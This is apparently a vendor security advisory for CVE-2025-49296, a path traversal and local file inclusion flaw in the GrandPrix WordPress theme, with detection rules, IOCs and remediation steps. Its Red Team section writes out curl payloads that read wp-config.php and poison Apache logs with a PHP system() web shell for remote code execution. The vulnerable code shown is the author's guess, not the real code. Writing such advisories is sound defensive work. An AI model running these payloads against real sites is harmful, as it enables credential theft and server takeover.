CVE-2025-49296

Executive Summary

CVE-2025-49296 is a critical Path Traversal vulnerability (CWE-35) affecting the Qodeinteractive GrandPrix WordPress theme, version 1.6 and earlier. This flaw allows an unauthenticated attacker to perform PHP Local File Inclusion (LFI) by manipulating file paths using the .../...// pattern. The vulnerability is classified as a WordPress ecosystem issue, residing entirely within the theme's codebase, not in the underlying web server (Apache/Nginx). With a CVSS score of 8.1, it poses a high risk to confidentiality, as an attacker can read sensitive files (e.g., wp-config.php, /etc/passwd) or potentially achieve Remote Code Execution (RCE) via log poisoning or PHP filter chains. No public proof-of-concept (PoC) or patch is currently available, making this a zero-day threat for unpatched installations.

Supply Chain & Package Security

This vulnerability is specific to the GrandPrix WordPress theme distributed by Qodeinteractive. Since it is a commercial theme, it is not available via the official WordPress.org repository. Users must obtain patches directly from the vendor or through their Envato/ThemeForest purchase. The lack of an OSV or GitHub advisory indicates limited open-source visibility, increasing the risk for organizations using this theme without a direct support contract.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no victim action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full file read capability.
• Integrity Impact: None (I:N) – no file modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Critical for confidentiality. While the CVSS score is 8.1, the potential for chaining with other techniques (e.g., log poisoning) elevates the real-world risk to near-critical.

Deep Dive & Mechanics

The vulnerability lies in how the GrandPrix theme handles file inclusion requests. The theme likely uses a parameter (e.g., page, template, or include) to load PHP files dynamically. Due to insufficient sanitization, an attacker can inject path traversal sequences like .../...// to escape the intended directory.

Why .../...// works:

• The ... sequence is a variation of ../ that bypasses simple filters that strip ../ but not .../.
• The double slash // is often normalized by the filesystem to a single slash, allowing traversal.
• On Windows, .../...// may also bypass filters due to alternative path representations.

Impact:

• Local File Inclusion (LFI): Read arbitrary files (e.g., /etc/passwd, wp-config.php).
• Potential RCE: If the attacker can control log files (e.g., via User-Agent injection in Apache logs), they can include the log file to execute PHP code.
• Source Code Disclosure: Expose theme/plugin source code for further vulnerability analysis.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is inferred from typical WordPress theme patterns. The vulnerable snippet likely resembles:

// Vulnerable code (grandprix/functions.php or similar)
$template = $_GET['template'];
include( get_template_directory() . '/' . $template . '.php' );

Vulnerable behavior:

• No validation of $template for path traversal characters.
• Direct concatenation with the theme directory path.

Patched code (hypothetical):

// Patched code
$template = basename( $_GET['template'] );
$allowed_templates = array( 'page', 'single', 'archive' );
if ( in_array( $template, $allowed_templates ) ) {
    include( get_template_directory() . '/' . $template . '.php' );
} else {
    // Handle error
}

Key differences:

• Use of basename() to strip directory components.
• Whitelist-based validation instead of blacklist.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running GrandPrix theme <= 1.6.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable parameter (e.g., ?template=.../...//.../...//wp-config).
2. Craft a request to read sensitive files:

# Read wp-config.php
curl -v "http://target.com/?template=.../...//.../...//wp-config"

3. For RCE via log poisoning:
   • Inject PHP code into User-Agent header.
   • Include the Apache access log:

# Inject PHP code
curl -v -A "<?php system($_GET['cmd']); ?>" "http://target.com/"
# Include the log file
curl -v "http://target.com/?template=.../...//.../...//.../...//var/log/apache2/access.log&cmd=id"

Note: No public exploit code is available; this is a theoretical exploitation based on the CVE description.

Blue Team (Defender)

Detection:

• Monitor for requests containing .../...// or similar traversal patterns.
• Alert on inclusion of non-PHP files (e.g., .log, .txt, .conf).
• Use WAF rules to block path traversal sequences.

Hunting:

• Search web server logs for %2e%2e%2f (URL-encoded ../) or .../...//.
• Check for unusual file inclusion attempts in wp-content/themes/grandprix/.

Lab Setup:

• Install WordPress with GrandPrix theme 1.6 in a sandboxed environment.
• Enable detailed logging (e.g., mod_dumpio in Apache).
• Use a tool like Burp Suite to fuzz the vulnerable parameter.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with .../...// in query parameters.
  • User-Agent strings containing PHP code (e.g., <?php system(...)?>).
  • Requests to non-standard file paths (e.g., /etc/passwd, wp-config.php).

• File System IOCs:

  • Unexpected files in /tmp/ or web root (e.g., shell.php).
  • Modified log files with PHP code injections.

• Log IOCs:

  • Apache/Nginx access logs showing .../...// patterns.
  • Error logs with PHP Warning: include() for non-existent files.

Detection Engineering

YARA Rule

rule CVE_2025_49296_GrandPrix_LFI {
    meta:
        description = "Detects path traversal attempts targeting GrandPrix theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49296"
    strings:
        $traversal1 = ".../...//"
        $traversal2 = "..\\..\\"
        $traversal3 = "%2e%2e%2f%2e%2e%2f"
        $wp_config = "wp-config.php"
        $passwd = "/etc/passwd"
    condition:
        any of ($traversal*) and any of ($wp_config, $passwd)
}

Sigma Rule

title: CVE-2025-49296 GrandPrix Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting GrandPrix theme
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '.../...//'
            - '..\\..\\'
            - '%2e%2e%2f%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in other applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49296 GrandPrix LFI Attempt"; flow:to_server; content:".../...//"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the GrandPrix theme if not in use. Switch to a default WordPress theme (e.g., Twenty Twenty-Four).
2. Apply a virtual patch using a WAF (e.g., ModSecurity, Cloudflare) to block .../...// patterns.
3. Restrict file inclusion by disabling PHP's allow_url_include and allow_url_fopen in php.ini.

Long-term Fix:

• Contact Qodeinteractive for an official patch.
• If no patch is forthcoming, consider migrating to a different theme.
• Implement input validation and whitelisting for all file inclusion parameters.

Workaround:

• Add the following rule to .htaccess (Apache) or nginx.conf:

# Apache .htaccess
RewriteEngine On
RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [NC]
RewriteRule ^ - [F,L]

# Nginx
if ($args ~ "\.\./|\.\.\\") {
    return 403;
}

Valters IT
Securing Digital Frontiers